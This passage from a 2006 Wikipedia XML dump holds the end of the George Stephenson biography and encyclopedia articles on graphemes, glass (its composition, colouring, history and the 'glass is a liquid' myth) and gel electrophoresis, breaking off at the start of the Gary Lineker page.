While building the S&amp;D railway, Stephenson had noticed that even small inclines greatly reduced the speed of his locomotives. (One might add that even slight declines would have made the primitive brakes next to useless.)  He came to the conclusion that railways should be kept as level as possible.  He used this knowledge while working on the [[Bolton and Leigh Railway]] and the [[Liverpool and Manchester Railway]], executing a series of difficult cuts, embankments and stone viaducts to smooth the route the railways took.  Defective surveying for the original route of the LMR (caused by hostility of some of the affected landowners) meant that Stephenson was given a very bad time during Parliamentary scrutiny of the original Bill, which was rejected.  A revised bill with a new alignment was submitted and passed in a subsequent session. The revised alignment presented a considerable problem: the crossing of [[Chat Moss]], an apparently bottomless peat bog, which Stephenson eventually overcame by unusual means, effectively floating the line across it.  

As the Liverpool &amp; Manchester approached completion in 1829, the directors of that company arranged for a competition to decide who would build the locomotives for the new railway.  The [[Rainhill Trials]] were run in October of that year.  Stephenson's entry was [[Stephenson's Rocket|Rocket]], and its impressive performance in winning the contest made it arguably the most famous machine in the world.

When the L&amp;MR opened on [[15 September]] [[1830]], the opening ceremony was a considerable event, drawing luminaries from the government and industry, including the then Prime Minister, the [[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]].  The day was marred by the death of [[William Huskisson]] ([[Member of Parliament]] for [[Liverpool]]) who was struck and killed by ''Rocket'', but the railway was a resounding success. Stephenson became a very famous man, and was offered the position of chief engineer for a wide variety of other railways.  

However, his conservative views on the capabilities of locomotives meant that he tended to favour routes and civil engineering which were more costly than his successors thought necessary.  For example, rather than the [[West Coast Main Line]] taking the direct route over [[Lancaster and Carlisle Railway|Shap]] favoured by [[Joseph Locke]] between [[City of Lancaster|Lancaster]] and [[Carlisle]], Stephenson reported in favour of a longer sea-level route via [[Ulverston]] and [[Whitehaven]]. Locke's route was preferred. 

Stephenson therefore tended to become a reassuring name, rather than a cutting-edge technical adviser. He was selected as the first president of the [[Institution of Mechanical Engineers]] on its formation in 1847. He had by this time settled into semi-retirement supervising his mining interests in Derbyshire.  (Tunnelling work for the [[North Midland Railway]] had revealed unworked coal seams, and Stephenson had put much of his money into their exploitation.) Rich and successful for the remainder of his career, George Stephenson died on [[12 August]] [[1848]] in [[Chesterfield, England]]. The local museum has a room full of Stephenson memorabilia , including the straight thick glass tubes in which Stephenson (inventive to the last) grew his cucumbers to stop them curving. 

Stephenson's son, [[Robert Stephenson]], was also a noted locomotive engineer, and was heavily involved in the creation of many of his father's engines from ''Locomotion'' onwards.  [[Joseph Locke]] was initially apprenticed to George Stephenson, eventually being promoted to chief engineer on some of the schemes he instigated (e.g. the [[Grand Junction Railway]]).

[[George Stephenson College]], founded in 2001 on the [[University of Durham]]'s Queen's Campus in [[Stockton-on-Tees]], is named after him. Also named after him and his son is the [[Stephenson Railway Museum]] in [[North Shields]].

As a tribute to the life and works of the engineer, a bronze statue of George Stephenson was unveiled at [[Chesterfield Railway Station]] (which is overlooked by [[Tapton House]], where Stephenson spent the last ten years of his life) on [[28 October]] 2005, which marked the completion of improvements to the station. At the event, a full size working replica of ''Rocket'' was on show, which then spent two days on public display at the Chesterfield Market Festival.

== See also ==


* [[History of Science and Technology]]
* [[Industrial revolution]]
* [[Railway]]
* [[Steam engine]]
* [[Train]]

[[Category:1781 births|Stephenson, George]]
[[Category:1848 deaths|Stephenson, George]]
[[Category:English inventors|Stephenson, George]]
[[Category:English engineers|Stephenson, George]]
[[Category:English civil engineers|Stephenson, George]]
[[Category:Locomotive engineers|Stephenson, George]]
[[Category:Tyne and Wear|Stephenson, George]]
[[Category:Autodidacts|Stephenson, George]]
[[Category:Natives of Northumberland|Stephenson, George]]

[[cs:George Stephenson]]
[[cy:George Stephenson]]
[[da:George Stephenson]]
[[de:George Stephenson]]
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[[eo:George STEPHENSON]]
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[[it:george Stephenson]]</text>
    </revision>
  </page>
  <page>
    <title>Grapheme</title>
    <id>12579</id>
    <revision>
      <id>38667708</id>
      <timestamp>2006-02-07T21:32:52Z</timestamp>
      <contributor>
        <ip>168.209.98.35</ip>
      </contributor>
      <comment>Interwiki link af:Grafeem</comment>
      <text xml:space="preserve">A '''grapheme''' designates the atomic unit in [[writing systems|written language]]. Graphemes include [[letter (alphabet)|letters]], Chinese [[ideogram]]s, [[numeral]]s, [[punctuation]] marks, and other symbols.

In a [[phonology|phonological]] [[orthography]] a grapheme corresponds to one [[phoneme]]. In spelling systems that are non-phonemic &amp;mdash; such as the spellings used most widely for written [[English language|English]] &amp;mdash; multiple graphemes may represent a single phoneme. These are called [[digraph (orthography)|digraph]]s (two graphemes for a single phoneme) and [[trigraph (orthography)|trigraph]]s (three graphemes). For example, the word ''ship'' contains four graphemes (''s'', ''h'', ''i'', and ''p'') but only three phonemes, because ''sh'' is a digraph. An example of a trigraph is the ''tch'' in ''itch''.

Different [[glyph]]s can represent the same grapheme, meaning they are [[allography|allographs]]. For example, the [[minuscule]] letter ''[[a]]'' can be seen in two variants, with a hook at the top, and without. Not all glyphs are graphemes; for example the [[logogram]] [[ampersand]] (''&amp;amp;'') represents the Latin word ''et'' (English word ''and''), which contains two phonemes.

==See also==
*[[Digraph (orthography)]]
*[[Trigraph (orthography)]]
*[[Allograph (orthography)]]
*[[Tilde]]

[[Category:Linguistics]]

[[af:Grafeem]]
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[[de:Graphem]]
[[als:Buchstabe]]
[[fr:Graphème]]
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[[it:Grafema]]
[[pl:Grafem]]
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[[ru:&amp;#1041;&amp;#1091;&amp;#1082;&amp;#1074;&amp;#1072;]]
[[sl:grafem]]
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[[zh-min-nan:Grapheme]]</text>
    </revision>
  </page>
  <page>
    <title>Glass</title>
    <id>12581</id>
    <revision>
      <id>42110320</id>
      <timestamp>2006-03-03T22:09:42Z</timestamp>
      <contributor>
        <ip>70.132.2.239</ip>
      </contributor>
      <comment>/* Glass art */</comment>
      <text xml:space="preserve">{{featured article}}
:''This article refers to the material. For other uses, see [[Glass (disambiguation)]].''
{{TOCright}}
The materials definition of a '''glass''' is a uniform [[amorphous solid]] material, usually produced when a suitably viscous molten material cools very rapidly to below its [[glass transition temperature]], thereby not giving enough time for a regular [[crystal]] lattice to form. A simple example is when [[Sucrose|table sugar]] is melted and cooled rapidly by dumping the liquid sugar onto a cold surface. The resulting solid is amorphous, not crystalline like the sugar was originally, which can be seen in its [[conchoidal]] fracture. 
{{wiktionarypar|glass}}
The word ''glass'' comes from [[Latin]] ''glacies'' (ice) and corresponds to [[German language|German]] ''Glas,'' [[Middle English|M.E.]] ''glas,'' [[Old English language|A.S.]] ''glaes''. Germanic tribes used the word ''glaes'' to describe [[amber]], recorded by [[Roman Empire|Roman]] historians as ''glaesum.'' Anglo-Saxons used the word ''glaer'' for amber.

The term [[Vitreous enamel|enamel]] is used to describe glass fused as a decorative or functional coating on metal.

The remainder of this article will be concerned with a specific type of glass&amp;mdash;the [[silica]]-based glasses in common use as a building, container or decorative material.

----

In its pure form, '''glass''' is a [[transparency (optics)|transparent]], relatively [[strength of materials|strong]], hard-wearing, essentially [[inert]], and [[biology|biologically]] inactive material which can be formed with very smooth and impervious surfaces. These desirable properties lead to a great many uses of glass. Glass is, however, brittle and will break into sharp shards. These properties can be modified, or even changed entirely, with the addition of other compounds or [[heat treatment]].

Common glass contains about 70% [[amorphous]] [[silicon dioxide]] ([[Silicon|Si]][[Oxygen|O]]&lt;sub&gt;2&lt;/sub&gt;), which is the same chemical compound found in [[quartz]], and its polycrystalline form, [[sand]].

==Properties and uses==

[[Image:Glass-Ball.jpg|thumbnail|right|250px|Glass can be made transparent and flat, or into other shapes and colours as shown in this ball from the [[Verrerie of Brehat]] in [[Brittany]].]]

An obvious characteristic of ordinary glass is that it is transparent to visible light (not all glassy materials are). The transparency is due to an absence of electronic [[transition state]]s in the range of visible [[light]], and because ordinary glass is homogeneous on all length scales greater than about a wavelength of visible light. (Heterogeneities cause light to be scattered, breaking up any coherent image transmission). Ordinary glass does not pass light with a wavelength of lower than 400 [[nanometre|nm]], also known as [[ultraviolet]] light or UV. This is due to the addition of compounds such as [[soda ash]] (sodium carbonate). 

Pure SiO&lt;sub&gt;2&lt;/sub&gt; glass (also called [[fused quartz]]) does not absorb UV light and is used for applications that require transparency in this region, although it is more expensive.  This type of glass can be made so pure that, when made into [[fibre optic]] cables, hundreds of kilometres of glass are transparent at [[infrared]] wavelengths. Individual fibres are given an equally transparent core of SiO&lt;sub&gt;2&lt;/sub&gt;/{{Germanium}}O&lt;sub&gt;2&lt;/sub&gt; glass, which has only slightly different optical properties (the germanium contributing to a higher [[index of refraction]]). Undersea cables have sections doped with [[erbium]], which [[Fiber_amplifier|amplify]] transmitted signals by [[laser]] emission from within the glass itself. Amorphous SiO&lt;sub&gt;2&lt;/sub&gt; is also used as a [[dielectric]] material in [[integrated circuit]]s, due to the smooth and electrically neutral interface it forms with [[silicon]]. 

Glasses used for making [[optics|optical]] devices are commonly categorized using a six-digit [[glass code]], or alternatively a letter-number code from the [[Schott Glass]] catalogue. For example, ''BK7'' is a low-[[dispersion (optics)|dispersion]] [[borosilicate glass|borosilicate]] [[crown glass (optics)|crown glass]], and ''SF10'' is a high-dispersion dense [[flint glass]]. The glasses are arranged by composition, refractive index, and [[Abbe number]].

Glass is sometimes created naturally from volcanic [[magma]].  This glass is called [[obsidian]], and is usually black with impurities. Obsidian is a raw material for [[flint knapper]]s, who have used it to make extremely sharp knives since the [[stone age]]. Collecting [[obsidian]] from national parks and some places may be prohibited by law in some countries, but the same toolmaking techniques can be applied to industrially-made glass.

==Glass ingredients==

Pure [[silica]] (SiO&lt;sub&gt;2&lt;/sub&gt;) has a [[melting point]] of about 2000 [[Celsius|°C]] (3600 [[Fahrenheit|°F]]), and while it can be made into glass for special applications (see [[fused quartz]]), two other substances are always added to common glass to simplify processing. One is soda ([[sodium carbonate]] Na&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt;), or [[potash]], the equivalent [[potassium carbonate|potassium]] compound, which lowers the melting point to about 1000 °C (1800 °F). However, the soda makes the glass water-soluble, which is obviously undesirable, so lime ([[calcium oxide]], CaO) is the third component, added to restore insolubility. The resulting glass contains about 70% silica and is called a '''soda-lime glass'''. Soda-lime glasses account for about 90% of manufactured glass.

As well as soda and lime, most common glass has other ingredients added to change its properties. [[Lead]] glass, such as [[lead crystal]] or [[flint glass]], is more 'brilliant' because the increased [[refractive index]] causes noticeably more &quot;sparkles&quot;, while [[boron]] may be added to change the thermal and electrical properties, as in [[Pyrex]]. Adding [[barium]] also increases the refractive index. [[Thorium oxide]] gives glass a high refractive index and low dispersion, and was formerly used in producing high-quality lenses, but due to its [[radioactivity]] has been replaced by [[lanthanum oxide]] in modern glasses. Large amounts of [[iron]] are used in glass that absorbs [[infrared]] energy, such as heat absorbing filters for movie projectors, while [[cerium(IV) oxide]] can be used for glass that absorbs [[UV]] wavelengths (biologically damaging ionizing radiation).

=== Glass as a polymer ===

An innovative way for making glass involves preparation by [[polymerization]]. Putting in additives that modify the properties of glass is problematic, because the high temperature of preparation destroys most of them. By polymerizing glass it is possible to embed active molecules, such as enzymes, to add a new level of functionality to the glass vessels.
[[Sol gel]] is a good example of glass prepared in this way.

=== Colours ===

[[image:bristol.blue.glass.arp.750pix.jpg|thumb|left|250px|Metallic additives in the glass mix can produce a variety of colours. Here [[cobalt]] has been added to produce a bluish coloured decorative glass.]]

[[Image:Universeglass.JPG|thumb|right|275px|The inside of a blue glass cup.]]  

[[Metal]]s and metal [[oxide]]s are added to glass during its manufacture to change its [[colour]]. [[Manganese]] can be added in small amounts to remove the [[green]] tint lent by iron, or in higher concentrations to give glass an [[amethyst]] colour. Like manganese, [[selenium]] can be used in small concentrations to decolorize glass, or in higher concentrations to impart a [[red]]dish colour. Small concentrations of [[cobalt]] (0.025 to 0.1%) yield [[blue]] glass. [[Tin oxide]] with [[antimony]] and [[arsenic]] oxides produce an opaque [[white]] glass, first used in [[Venice]] to produce an imitation [[porcelain]]. 2 to 3% of [[copper oxide]] produces a [[turquoise]] colour. Pure metallic [[copper]] produces a very dark red, opaque glass, which is sometimes used as a substitute for [[gold]] in the production of [[ruby]]-coloured glass. [[Nickel]], depending on the concentration, produces blue, or [[violet (colour)|violet]], or even [[black]] glass. Adding [[titanium]] produces [[yellow]]ish-[[brown]] glass. Metallic gold, in very small concentrations (around 0.001%), produces a rich ruby-coloured glass, while lower concentrations produces a less intense red, often [[marketing|marketed]] as &quot;[[Cranberry glass|cranberry]]&quot;. [[Uranium]] (0.1 to 2%) can be added to give glass a fluorescent yellow or [[green]] colour. Uranium glass is typically not [[radioactive_decay|radioactive]] enough to be dangerous, but if ground into a powder, such as by polishing with sandpaper, and inhaled, it can be [[carcinogenic]]. [[Silver]] compounds (notably [[silver nitrate]]) can produce a range of colors from [[Orange (colour)|orange]]-red to yellow. The way the glass is heated and cooled can significantly affect the colors produced by these compounds. The chemistry involved is complex and not well understood. New coloured glasses are frequently discovered.

==History of glass==
Naturally occurring glass, such as [[obsidian]], has been used since the [[stone age]]. Glass making instructions were first documented in [[Egypt]] around [[1500 BC]], when glass was used as a glaze for pottery and other items. In the first century BC the technique of [[glass blowing|blowing glass]] was developed and what had once been an extremely rare and valuable item became much more common. 

During the [[Roman Empire]] many forms of glass were created, usually for vases and bottles. Glass was made from [[sand]], plant ash and [[Calcium_oxide|lime]]. The earliest use of glass was as a coloured, opaque, or transparent glaze applied to ceramics before they were fired. Small pieces of coloured glass were considered valuable and often rivalled precious gems as jewellery items. As time passed, it was discovered (most likely by a potter) that if glass is heated until it becomes semi-liquid, it can be shaped and left to cool in a new, solid, independently standing shape. 

In the first century BC, somewhere at the eastern end of the [[Mediterranean]], a new invention caused a true revolution in the glass industry. This was the discovery of glassblowing, both free-blowing and mould-blowing. 

The colour of &quot;natural glass&quot; is green to bluish green. This colour is caused by the varying amounts of naturally occurring iron impurities in the sand. Common glass today usually has a slight green or blue tint, arising from these same impurities. Glassmakers learned to make coloured glass by adding metallic compounds and mineral oxides to produce brilliant hues of red,  green, and blue - the colours of gemstones. When gem-cutters learned to cut glass, they found clear glass was an excellent refractor of light, the popularity of cut clear glass soared, that of coloured glass diminished.

Glass objects from the [[7th century|7th]] and [[8th century|8th centuries]] have been found on the island of [[Torcello]] near [[Venice]]. These form an important link between Roman times and the later importance of that city in the production of the material. About [[1000]] AD, an important technical breakthrough was made in Northern Europe when soda glass was replaced by glass made from a much more readily available material: potash obtained from wood ashes. From this point on, northern glass differed significantly from that made in the Mediterranean area, where soda remained in common use.

The [[11th century]] saw the emergence, in [[Germany]], of new ways of making sheet glass by blowing spheres, swinging these out to form cylinders, cutting these while still hot, and then flattening the sheets. This technique was perfected in [[13th century]] Venice.

Until the [[12th century]], [[stained glass]] (i.e., glass with some colouring impurities, usually metals) was not widely used. 

The centre for glass making from the [[14th century]] was [[Venice]], which developed many new techniques and became the centre of a lucrative export trade in dinner ware, [[mirror]]s, and other luxury items. Eventually some of the Venetian glass workers moved to other areas of northern Europe and glass making spread with them.

The [[Crown glass process]] was used up to the mid-[[1800s]]. In this process, the glassblower would spin around 9 lb (4 kg) of molten glass at the end of a rod until it flattened into a disk approximately 5 ft (1.5 m) in diameter. The disk would then be cut into panes. Venetian glass was highly prized between the [[10th century|10th]] and [[14th century|14th centuries]] as they managed to keep the process secret. Around [[1688]], a process for casting glass was developed, which led to its becoming a much more commonly used material. The invention of the glass pressing machine in [[1827]] allowed the mass production of inexpensive glass articles.

The [[Cylinder blown sheet|cylinder method]] of creating flat glass was first used in the United States of America by [[William J. Blenko]] in the 1920s.

Art is sometimes etched into glass via acid or other caustic substance (causing the image to be eaten into the glass).  Traditionally this was done by a trained artisan after the glass was blown or cast.  In the [[1920s]] a new mould-etch process was invented, in which art was etched directly into the mould, so that each cast piece emerged from the mold with the image already on the surface of the glass.  This reduced manufacturing costs and, combined with a wider use of coloured glass, led to cheap popular glassware in the [[1930s]], which later became known as Depression glass.

''See also:'' [[Broad sheet]], [[Blown plate]], [[Polished plate]], [[Cylinder blown sheet]], [[Machine drawn cylinder sheet]]

==Glass tools==

Since glass is strong and unreactive, it is a very useful material. Many household objects are made of glass. Drinking glasses, bowls, and bottles are often made of glass, as are [[light bulb]]s, [[mirror]]s, the picture tubes of [[computer monitor]]s and [[television]]s, and [[window]]s. In [[laboratory|laboratories]] doing research in [[chemistry]], [[biology]], [[physics]] and many other fields, [[flask]]s, [[test tube]]s, [[Lens (optics)|lenses]] and other laboratory equipment are often made of glass. For these applications, [[borosilicate glass]] (such as [[Pyrex]]) is usually used for its strength and low [[coefficient of thermal expansion]], which gives greater resistance to [[thermal shock]] and allows for greater accuracy in laboratory measurements when heating and cooling experiments. For the most demanding applications, [[quartz]] glass is used, although it is very difficult to work. Most such glass is [[mass-production|mass-produced]] using various industrial processes, but most large laboratories need so much custom glassware that they keep a [[glassblowing|glassblower]] on staff.
Volcanic glasses, such as [[obsidian]], have long been used to make stone [[tools]], and [[flint (tool)|flint knapping]] techniques can easily be adapted to mass-produced glass.

==Glass art==

[[image:glass.sculpture.kewgardens.london.arp.jpg|thumb|left|250px|Glass sculpture by Dale Chihuly at an exhibition in Kew Gardens, London, England. The piece is 13 feet (4 metres) high]] 

Even with the availability of common glassware, hand blown or [[lampworking|lampworked]] glassware remains popular for its artistry. Some artists in glass include [[Lino Tagliapietra]], [[Sidney Waugh]], [[Rene Lalique|Rene Lalique]], [[Dale Chihuly]], and [[Louis Comfort Tiffany]], who were responsible for extraordinary glass objects. The term &quot;crystal glass&quot;, derived from rock crystal, has come to denote high-grade colourless glass, often containing lead, and is sometimes applied to any fine hand-blown glass.

There are many techniques for creating fine glass art; each is suitable for certain kinds of object and unsuitable for others. Someone who works with hot glass is called a [[glassblowing|glassblower]] or [[lampworking|lampworker]], and these techniques are how most fine glassware is created. Glass that is manipulated in a kiln is called warm glass, and traditional stained glass work is commonly called cold glass work.  Glass can also be cut with a [[diamond saw]], and polished to give gleaming facets.

[[Image:Glass-beads.jpg|thumb|right|250px|Hand-blown glass beads and pendants illustrate some of the myriad colors and shapes of glass art. The [[Canadian coin|Canadian]] [[Nickel (Canadian coin)|Nickel]] is for scale.]]

Objects made out of glass include vessels (bowls, [[vase]]s, and other containers), [[Paperweight collecting|paperweights]], [[marbles]], [[bead]]s, [[smoking pipe]]s, [[bong]]s, and [[sculpture]]s. Colored glass is often used, though sometimes the glass is painted; notable examples of painted glass include the work of contemporary artists Judith Schaechter and Walter Lieberman, and innumerable examples of stained glass, such as those by [[John La Farge]] in Boston's Trinity Church.

The [[Harvard Museum of Natural History]] has a collection of extremely detailed models of flowers made of painted glass. These were [[lampworking|lampworked]] by [[Leopold Blaschka]] and his son Rudolph, who never revealed the method he used to make them. The Blaschka [[Glass Flowers]] are still an inspiration to glassblowers today. See [http://www.hmnh.harvard.edu/exhibitions/glassflowers.html the Harvard Museum of Natural History's page on the exhibit] for further information. 

[[Stained glass]] is an art form with a long history; many churches have beautiful stained-glass windows.

==Glass in buildings==
''Main articles: [[Architectural Glass]] and [[Glazing]] 

Glass has been used in buildings since the 11th century.  Typical uses for glass in buildings include as a transparent material for windows in the building envelope, as internal glazed partitions and as architectural features.

Glass in buildings can be of a safety type, including wired, toughened and laminated glasses.

Glass fibre insulation is common in roofs and walls. Foamed glass, made from waste glass, can be used as lightweight, closed-cell insulation.

Several methods of producing glass for applications have been developed, including:
*[[Architectural Glass#Cylinder glass|cylinder glass]] 
*[[Architectural Glass#Sheet glass|sheet glass]]
*[[Architectural Glass#Rolled plate glass|rolled plate glass]]
*[[Architectural Glass#Polished plate glass|polished plate glass]]
*[[Architectural Glass#Float (annealed) glass|float (annealed) glass]]
*[[Architectural Glass#figure rolled glass|figure rolled glass]]

These glass types can be further utilised by the following processes:
*[[Architectural Glass#Laminated glass|laminating]]
*[[Architectural Glass#Toughened glass|toughening]]
*[[Architectural Glass#Chemically strengthened glass|chemical strengthening]]
*[[Architectural Glass#Self-cleaning glass|application of a self-cleaning catalyst]]
*[[Architectural Glass#Insulated glazing|double-glazing]]

''See also [[Window]]''.

==Glass as a liquid==

One common misconception is that glass is a '''super-cooled [[liquid]] of practically infinite viscosity''' when at room temperature (see [[Amorphous solid]]).  Supporting evidence that is often offered is that old windows are often thicker at the bottom than at the top.  It is then assumed that the glass was once uniform, but has flowed to its new shape.

The likely source of this belief is that when panes of glass were commonly made by [[glassblowing|glassblowers]], the technique that was used was to spin molten glass so as to create a round, mostly flat and even plate (the Crown glass process, described above). This plate was then cut to fit a window. The pieces were not, however, absolutely flat; the edges of the disk would be thicker because of [[centrifugal force]]s. When actually installed in a window frame, the glass would be placed thicker side down for the sake of stability and visual sparkle. Occasionally such glass has been found thinner side down, as would be caused by carelessness at the time of installation.

* Writing in the [[American Journal of Physics]], physicist [[Edgar D. Zanotto]] states &quot;...the predicted relaxation time for GeO&lt;sub&gt;2&lt;/sub&gt; at room temperature is 10&lt;sup&gt;32&lt;/sup&gt; years.  Hence, the relaxation period (characteristic flow time) of cathedral glasses would be even longer&quot; (Am. J. Phys, 66(5):392-5, May 1998).  In layman's terms, he wrote that glass at room temperature is very strongly on the solid side of the spectrum from solids to liquids.
* If medieval glass has flowed perceptibly, then ancient Roman and Egyptian objects should have flowed proportionately more&amp;mdash;but this is not observed.
* If glass flows at a rate that allows changes to be seen with the naked eye after centuries, then changes in optical telescope mirrors should be observable (by [[interferometry]]) in a matter of days&amp;mdash;but this also is not observed. Similarly, it should not be possible to see [[Newton's rings]] between decade-old fragments of window glass&amp;mdash;but this can in fact be quite easily done.  
* Glass in [[Refracting Telescope]]s, with objective lenses greater than 105cm in diameter, is observed to sag under its own weight over time. This sag happens because the lens is only supported around its edge. The result is a loss of focus and is sometimes argued to occur not because of the liquid properties of glass but rather sagging of the telescope itself, but this is not correct. This (along with chromatic aberration and other effects) limits the size of refracting telescopes, with the largest refractor in the [[World]] being the [[Yerkes Observatory]] telescope with a diameter of 102cm. 

Note that [[Pitch (resin)|pitch]], another seemingly-solid material, is in fact a highly [[viscous]] liquid, 100 [[billion]] times as viscous as water. This property can be seen in the [[University of Queensland]]'s [[pitch drop experiment]], where each drop has taken approximately 10 years to fall into the beaker.

== See also ==

*[[ALON|Aluminum Oxynitride]]
*[[Art glass]]
*[[Beveled glass]]
*[[Bulletproof glass]]
*[[Fiberglass]]
*[[Glass-reinforced plastic]]
*[[Lexan]]
*[[Magnifying glass]]
*[[Prince Rupert's Drops]]
*[[Pyrex]]
*[[Stained glass]]
*[[Favrile]] Iridescent Glass - Tiffany's technique to make stained glass art

==References==

*&quot;Do Cathedral Glasses Flow?&quot; ''Am. J. Phys.'', '''66''' (May 1998), pp 392&amp;ndash;396
*Noel C. Stokes; ''The Glass and Glazing Handbook''; ''Standards Australia''; SAA HB125-1998
*''[http://www.oxbowbooks.com/bookinfo.cfm/ID/36444/MID/11027 Glass Beads from Anglo-Saxon Graves: A Study on the Provenance and Chronology of Glass Beads from Anglo-Saxon Graves, Based on Visual Examination]'' by Birte Brugmann

==External links==
*[http://www.cmog.org/ Corning Museum of Glass], especially '''Research, Teach, and Learn''' section. 
*[http://math.ucr.edu/home/baez/physics/General/Glass/glass.html Is glass liquid or solid?] by Philip Gibbs on the spr USENET physics FAQ
*[http://dwb.unl.edu/Teacher/NSF/C01/C01Links/www.ualberta.ca/~bderksen/windowpane.html Antique windowpanes and the flow of supercooled liquids]
*[http://dwb.unl.edu/Teacher/NSF/C01/C01Links/www.ualberta.ca/~bderksen/florin.html article on the non-flowness of glass]
*[http://tafkac.org/science/glass.flow/ Page devoted to the AFU glass flow controversy, with links to citations]
*[http://www.glassnotes.com/WindowPanes.html Page stating that glass does not flow]
*[http://1st.glassman.com/articles/glasscolouring.html Substances used in the Making of Colored Glass]
*[http://www.activglass.com/index_eng.htm Self-cleaning glass] - Product information from Pilkington.
*[http://www.straightdope.com/classics/a1_120.html  The Straight Dope article on glass], article discusses why glass is a liquid treated as a solid
* [http://www.waste-management-information.org.uk Recycling Glass - Waste Management Issues]

[[Category:Glass|*]]
[[Category:Glass art]]

[[af:Glas]]
[[bg:Стъкло]]
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[[da:Glas]]
[[de:Glas]]
[[et:Klaas]]
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[[ru:Стекло]]
[[simple:Glass]]
[[sl:Steklo]]
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[[th:แก้ว]]
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[[tr:Cam]]
[[zh:玻璃]]</text>
    </revision>
  </page>
  <page>
    <title>Gel electrophoresis</title>
    <id>12582</id>
    <revision>
      <id>41468194</id>
      <timestamp>2006-02-27T15:29:27Z</timestamp>
      <contributor>
        <ip>132.177.88.163</ip>
      </contributor>
      <text xml:space="preserve">[[Image:SDSPAGE.png|thumb|300px|SDS-PAGE autoradiography]]
[[Image:AgaroseGel.jpg|thumb|300px|DNA agarose gel]]

'''Gel electrophoresis''' is a group of techniques used by scientists to separate molecules based on physical characteristics such as size, shape, or [[isoelectric point]].  Gel electrophoresis is usually performed for analytical purposes, but may be used as a preparative technique to partially purify molecules prior to use of other methods such as [[mass spectrometry]], [[Polymerase chain reaction|PCR]], [[cloning]], [[DNA sequencing]], or [[Western Blot|immuno-blotting]] for further characterization.

The first part, &quot;''gel''&quot;, refers to the matrix used to separate the molecules.  In most cases the gel is a [[crosslinked polymer]] whose composition and porosity is chosen based on the weight and composition of the target of the analysis. When separating [[protein]]s or small [[nucleic acid]]s ([[DNA]], [[RNA]], or [[oligonucleotide]]s) the gel is usually made with different concentrations of [[acrylamide]] and a [[cross-linker]], producing different sized mesh networks of [[polyacrylamide]]. When separating larger nucleic acids (greater than a few hundred [[base (chemistry)|bases]]), the preferred matrix is purified [[agarose]] (which is a seaweed extract).  In both cases, the gel forms a solid but porous matrix that looks and feels like clear jello. Acrylamide, in contrast to polyacrylamide, is a [[neurotoxin]] and needs to be handled using [[Good Laboratory Practice]]s (GLP) to avoid poisoning.

The second part, &quot;''[[Electrophoresis | electrophoresis]]''&quot;, refers to the [[electromotive force]] (EMF) that is used to push or pull the molecules through the gel matrix; by placing the molecules in wells in the gel and applying an electric current, the molecules will move through the matrix at different rates, towards the [[anode]] if negatively charged or towards the [[cathode]] if positively charged (note that gel electrophoresis operates as an electrolytic cell; the anode is positive and the cathode is negative).  In the case of nucleic acids, the direction of migration, from negative to positive electrodes, is due to the natural negative charge carried on their [[sugar]]-[[phosphate]] backbone.  Double-stranded DNA fragments natually behave as long rods, so their migration through the gel is relative to their [[radius of gyration]], or, roughly, size.  Single-stranded DNA or RNA tend to fold up into molecules with complex shapes and migrate through the gel in a complicated manner based on their tertiary structure.  Therefore, agents that disrupt the [[hydrogen bond]]s, such as [[sodium hydroxide]] or [[formamide]], are used to renature the nucleic acids and cause them to behave as long rods again.

Proteins, on the other hand, can have different charges and complex shapes, therefore they may not migrate into the gel at similar rates, or at all, when placing a negative to positive EMF on the sample.  Proteins therefore, are ususally [[denatured]] in the presence of a [[detergent]] such as [[sodium dodecyl sulfate]]/[[sodium dodecyl phosphate]] (SDS/SDP) that coats the proteins with a negative charge.  Generally, the amount of SDS bound is relative to the size of the protein, so that the resulting denatured proteins have an overall negative charge, and all the proteins have a similar charge to mass ratio.  Since denatured proteins act like they were long rods instead of having a complex tertiary shape, the rate at which the resulting SDS coated proteins migrate in the gel is relative only to its size and not its charge or shape.

After the electrophoresis run, when the smallest molecules have almost reached the anode, the molecules in the gel can be [[staining (biology)|stained]] to make them visible.  [[Ethidium bromide]], silver, or [[coomassie]] blue dye can be used.  Other methods can also be used to visualize the separation of the mixture's components on the gel.  If the analyte molecules [[luminescence|luminesce]] under [[ultraviolet]] light, a [[photograph]] can be taken of the gel under ultraviolet light.  If the molecules to be separated contain [[radioactivity|radioactive]] atoms, an [[isotopic tracer|autoradiogram]] can be recorded of the gel (as in the example shown above).

If several mixtures have initially been injected next to each other, they will run parallel in individual lanes. Depending on the number of different molecules, each lane shows separation of the components from the original mixture as one or more distinct bands, one band per component.  Incomplete separation of the components can lead to overlapping bands, or to indistinguishable smears representing multiple unresolved components.

Bands in different lanes that end up at the same distance from the top contain molecules that passed through the gel with the same speed, which usually means they are approximately the same size. There are special markers available - ladders - which contain a mixture of molecules of known sizes. If such a marker was run on one lane in the gel parallel to the unknown samples, the bands observed can be compared to those of the unknown in order to determine their size.  The distance a band travels is approximately inversely proportional to the logarithm of the size of the molecule.

==Types==
Gel electrophoresis is used in [[molecular biology]], [[genetics]], and [[biochemistry]]:
*Gel electrophoresis of large [[DNA]] or [[RNA]] is usually done by [[agarose gel electrophoresis]]. See the &quot;[[Chain termination method]]&quot; page for an example of a [[Acrylamide|polyacrylamide]] DNA sequencing gel.
*Gel electrophoresis of [[protein]]s is usually done in an [[sodium dodecyl sulfate|SDS]] polyacrylamide gel ([[SDS-PAGE]]), by [[native gel electrophoresis]], or by [[2-D electrophoresis]].
*[[Capillary electrophoresis]]
*[[DNA electrophoresis]]
*[[Zymography]]
*[[Gel isolation]]

==See also==
* [[Protein electrophoresis]]
* [[Electrofocusing]]
* [[Southern blot]]ting
* [[Northern blot]]ting
* [[Western blot]]ting
* [[Two-dimensional gel electrophoresis]]

==External links==
* [http://gslc.genetics.utah.edu/units/biotech/gel/ Biotechniques Laboratory electrophoresis demonstration], from the University of Utah's Genetic Science Learning Center
* [http://www.westernblotting.org Protein electrophoresis and Western Blotting]

{{Template:Protein methods}}
[[Category:Protein methods]]
[[Category:Molecular biology]][[Category:Biochemistry]][[Category:Analytical chemistry]]
[[Category:Laboratory techniques]]
[[Category:Electrophoresis]]

[[ca:Gel d'electroforesi]]
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[[fa:الکتروفورز]]
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[[ja:&amp;#38651;&amp;#27671;&amp;#27891;&amp;#21205;]]
[[pl:Elektroforeza]]
[[sr:Електрофореза]]
[[zh:凝膠電泳]]
[[pt:Eletroforese em Gel]]</text>
    </revision>
  </page>
  <page>
    <title>Gary Lineker</title>
    <id>12583</id>
    <revision>
      <id>41751011</id>
